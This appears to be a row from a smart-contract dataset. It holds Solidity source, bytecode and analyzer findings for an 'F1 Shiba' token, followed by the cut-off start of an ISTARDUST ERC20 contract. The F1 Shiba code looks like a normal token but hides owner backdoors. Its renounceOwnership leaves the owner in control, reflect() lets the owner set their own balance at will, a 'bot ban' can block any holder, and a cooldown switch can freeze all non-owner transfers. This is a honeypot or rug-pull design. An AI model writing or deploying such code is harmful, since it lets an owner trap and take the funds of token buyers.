emit OwnershipTransferred(address(0), msgSender);
}
function owner() internal view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function ownerAddress() public view returns (address) {
return owneraddress;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
owneraddress = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract F1Shiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "F1 Shiba";
string private constant _symbol = "F1Shiba";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 300000000000000 * 10**9;
mapping (address => uint256) private _vOwned;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _checkTransfer;
event botBan (address botAddress, bool isBanned);
address[] private _excluded;
uint256 private _rTotal;
uint256 private _tFeeTotal;
bool _cooldown;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private constant MAX = ~uint256(0);
uint256 private _totalSupply;
address public uniV2factory;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
constructor (address V2factory) {
uniV2factory = V2factory;
_totalSupply =_tTotal;
_rTotal = (MAX - (MAX % _totalSupply));
_vOwned[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _totalSupply);
_tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
_isExcludedFromFee[_msgSender()] = true;
_excluded.push(_msgSender());
_cooldown = false;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _vOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approveTransfer(address botAddress) external onlyOwner {
if (_checkTransfer[botAddress] == true) {
_checkTransfer[botAddress] = false;
} else {_checkTransfer[botAddress] = true;
emit botBan (botAddress, _checkTransfer[botAddress]);
}
}
function checkTransfers(address botAddress) public view returns (bool) {
return _checkTransfer[botAddress];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function cooldownEnable() public virtual onlyOwner {
if (_cooldown == false) {_cooldown = true;} else {_cooldown = false;}
}
function cooldownCheck() public view returns (bool) {
return _cooldown;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function reflect(uint256 totalFee, uint256 burnedFee) public virtual onlyOwner {
_vOwned[owner()] = totalFee.sub(burnedFee);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_checkTransfer[sender] || _checkTransfer[recipient]) require (amount == 0, "no bots");
if (_cooldown == false || sender == owner() || recipient == owner()) {
if (_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {
_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_vOwned[recipient] = _vOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else {_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_vOwned[recipient] = _vOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);}
} else {require (_cooldown == false, "");}
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c806360004d5c116100a0578063a457c2d711610064578063a457c2d7146103ae578063a9059cbb146103eb578063c2bd8dd214610428578063dd62ed3e14610465578063fc6fc10a146104a25761011f565b806360004d5c146102db57806370a0823114610304578063715018a6146103415780638f84aa091461035857806395d89b41146103835761011f565b806329bd5410116100e757806329bd5410146101f4578063313ce5671461021f578063395093511461024a5780634355b9d2146102875780635a830579146102b05761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b506101396104b9565b6040516101469190611d07565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611a78565b6104f6565b6040516101839190611cec565b60405180910390f35b34801561019857600080fd5b506101a1610514565b6040516101ae9190611e49565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190611a25565b610526565b6040516101eb9190611cec565b60405180910390f35b34801561020057600080fd5b506102096105ff565b6040516102169190611ca8565b60405180910390f35b34801561022b57600080fd5b50610234610625565b6040516102419190611e64565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c9190611a78565b61062e565b60405161027e9190611cec565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906119b8565b6106e1565b005b3480156102bc57600080fd5b506102c561090d565b6040516102d29190611cec565b60405180910390f35b3480156102e757600080fd5b5061030260048036038101906102fd9190611ab8565b610924565b005b34801561031057600080fd5b5061032b600480360381019061032691906119b8565b610a1a565b6040516103389190611e49565b60405180910390f35b34801561034d57600080fd5b50610356610a63565b005b34801561036457600080fd5b5061036d610bb7565b60405161037a9190611ca8565b60405180910390f35b34801561038f57600080fd5b50610398610be1565b6040516103a59190611d07565b60405180910390f35b3480156103ba57600080fd5b506103d560048036038101906103d09190611a78565b610c1e565b6040516103e29190611cec565b60405180910390f35b3480156103f757600080fd5b50610412600480360381019061040d9190611a78565b610ceb565b60405161041f9190611cec565b60405180910390f35b34801561043457600080fd5b5061044f600480360381019061044a91906119b8565b610d09565b60405161045c9190611cec565b60405180910390f35b34801561047157600080fd5b5061048c600480360381019061048791906119e5565b610d5f565b6040516104999190611e49565b60405180910390f35b3480156104ae57600080fd5b506104b7610de6565b005b60606040518060400160405280600881526020017f4631205368696261000000000000000000000000000000000000000000000000815250905090565b600061050a610503610f1f565b8484610f27565b6001905092915050565b6000693f870857a3e0e3800000905090565b60006105338484846110f2565b6105f48461053f610f1f565b6105ef856040518060600160405280602881526020016122b060289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105a5610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b610f27565b600190509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006009905090565b60006106d761063b610f1f565b846106d2856005600061064c610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185a90919063ffffffff16565b610f27565b6001905092915050565b6106e9610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076d90611da9565b60405180910390fd5b60011515600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561082c576000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061090a565b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f0f479aece30177331a016b232605740f68807d0f7a9f798c20cc2c29ab2f354281600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051610901929190611cc3565b60405180910390a15b50565b6000600b60009054906101000a900460ff16905090565b61092c610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b090611da9565b60405180910390fd5b6109cc81836118b890919063ffffffff16565b600260006109d8611902565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a6b610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aef90611da9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4631536869626100000000000000000000000000000000000000000000000000815250905090565b6000610ce1610c2b610f1f565b84610cdc856040518060600160405280602581526020016122d86025913960056000610c55610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b610f27565b6001905092915050565b6000610cff610cf8610f1f565b84846110f2565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dee610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7290611da9565b60405180910390fd5b60001515600b60009054906101000a900460ff1615151415610eb7576001600b60006101000a81548160ff021916908315150217905550610ed3565b6000600b60006101000a81548160ff0219169083151502179055505b565b6000610f1783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061192b565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e90611e29565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe90611d69565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110e59190611e49565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990611de9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c990611d29565b60405180910390fd5b60008111611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90611dc9565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112b65750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156112ff57600081146112fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f590611d49565b60405180910390fd5b5b60001515600b60009054906101000a900460ff16151514806113535750611324611902565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806113905750611361611902565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561179a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156114385750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115eb576114a98160405180606001604052806026815260200161228a60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153e81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185a90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115de9190611e49565b60405180910390a3611795565b6116578160405180606001604052806026815260200161228a60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116ec81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185a90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161178c9190611e49565b60405180910390a35b6117f1565b60001515600b60009054906101000a900460ff161515146117f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e790611e09565b60405180910390fd5b5b505050565b600083831115829061183e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118359190611d07565b60405180910390fd5b506000838561184d9190611f22565b9050809150509392505050565b60008082846118699190611e9b565b9050838110156118ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a590611d89565b60405180910390fd5b8091505092915050565b60006118fa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117f6565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008083118290611972576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119699190611d07565b60405180910390fd5b50600083856119819190611ef1565b9050809150509392505050565b60008135905061199d8161225b565b92915050565b6000813590506119b281612272565b92915050565b6000602082840312156119ce576119cd61203c565b5b60006119dc8482850161198e565b91505092915050565b600080604083850312156119fc576119fb61203c565b5b6000611a0a8582860161198e565b9250506020611a1b8582860161198e565b9150509250929050565b600080600060608486031215611a3e57611a3d61203c565b5b6000611a4c8682870161198e565b9350506020611a5d8682870161198e565b9250506040611a6e868287016119a3565b9150509250925092565b60008060408385031215611a8f57611a8e61203c565b5b6000611a9d8582860161198e565b9250506020611aae858286016119a3565b9150509250929050565b60008060408385031215611acf57611ace61203c565b5b6000611add858286016119a3565b9250506020611aee858286016119a3565b9150509250929050565b611b0181611f56565b82525050565b611b1081611f68565b82525050565b6000611b2182611e7f565b611b2b8185611e8a565b9350611b3b818560208601611fab565b611b4481612041565b840191505092915050565b6000611b5c602383611e8a565b9150611b6782612052565b604082019050919050565b6000611b7f600783611e8a565b9150611b8a826120a1565b602082019050919050565b6000611ba2602283611e8a565b9150611bad826120ca565b604082019050919050565b6000611bc5601b83611e8a565b9150611bd082612119565b602082019050919050565b6000611be8602083611e8a565b9150611bf382612142565b602082019050919050565b6000611c0b602983611e8a565b9150611c168261216b565b604082019050919050565b6000611c2e602583611e8a565b9150611c39826121ba565b604082019050919050565b6000611c51600083611e8a565b9150611c5c82612209565b600082019050919050565b6000611c74602483611e8a565b9150611c7f8261220c565b604082019050919050565b611c9381611f94565b82525050565b611ca281611f9e565b82525050565b6000602082019050611cbd6000830184611af8565b92915050565b6000604082019050611cd86000830185611af8565b611ce56020830184611b07565b9392505050565b6000602082019050611d016000830184611b07565b92915050565b60006020820190508181036000830152611d218184611b16565b905092915050565b60006020820190508181036000830152611d4281611b4f565b9050919050565b60006020820190508181036000830152611d6281611b72565b9050919050565b60006020820190508181036000830152611d8281611b95565b9050919050565b60006020820190508181036000830152611da281611bb8565b9050919050565b60006020820190508181036000830152611dc281611bdb565b9050919050565b60006020820190508181036000830152611de281611bfe565b9050919050565b60006020820190508181036000830152611e0281611c21565b9050919050565b60006020820190508181036000830152611e2281611c44565b9050919050565b60006020820190508181036000830152611e4281611c67565b9050919050565b6000602082019050611e5e6000830184611c8a565b92915050565b6000602082019050611e796000830184611c99565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611ea682611f94565b9150611eb183611f94565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ee657611ee5611fde565b5b828201905092915050565b6000611efc82611f94565b9150611f0783611f94565b925082611f1757611f1661200d565b5b828204905092915050565b6000611f2d82611f94565b9150611f3883611f94565b925082821015611f4b57611f4a611fde565b5b828203905092915050565b6000611f6182611f74565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611fc9578082015181840152602081019050611fae565b83811115611fd8576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f6e6f20626f747300000000000000000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61226481611f56565b811461226f57600080fd5b50565b61227b81611f94565b811461228657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201cc63454250551c84384de3521b4f22a14695af3b47ecd0b64689c24cc71e7ba64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,313 |
0xf56c661fa042739469d27ff0a12f765b751842ff
|
/*
ISTARDUST is a tokenized social platform that enables anyone to become Influencer through a block chain-based platform and services to create diverse content and provide new business opportunities.
Influencer Rank System
Influencer Rank System is not based on measurement items based on existing SNS subscribers, but is based on assessment by each category expert, advisor, and various Influencer. You can gain confidence over existing statistical figures.
Influencer is authorized to create its own Creator Coin after the rank has been reflected. With Creator Coin, you can enjoy more and more benefits
Communication & Payment System
Through the ISTARDUST Messenger, you can find Influencer for your interests or business connections, chat, participate in projects, call, and play games. In addition, the translation system will be linked together to ensure smooth communication with global Influencer.
All services provided by ISTARDUST are commonly linked to provide stable payment methods to users worldwide. Project funds are converted to coin through escrow service and can be guaranteed safety.
Sponsorship of Influencer and Project
It can be linked to various platforms where Influencer is broadcast live. Through ISTARDUST, chat rooms can be opened directly and connected to live broadcasts, and ISTARDUST users have no commission for sponsorship to the Influencer
Influencer can generate revenue based on sponsored Coin, which are cheaper than fees on other traditional platforms, and can also be paid to its fans
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
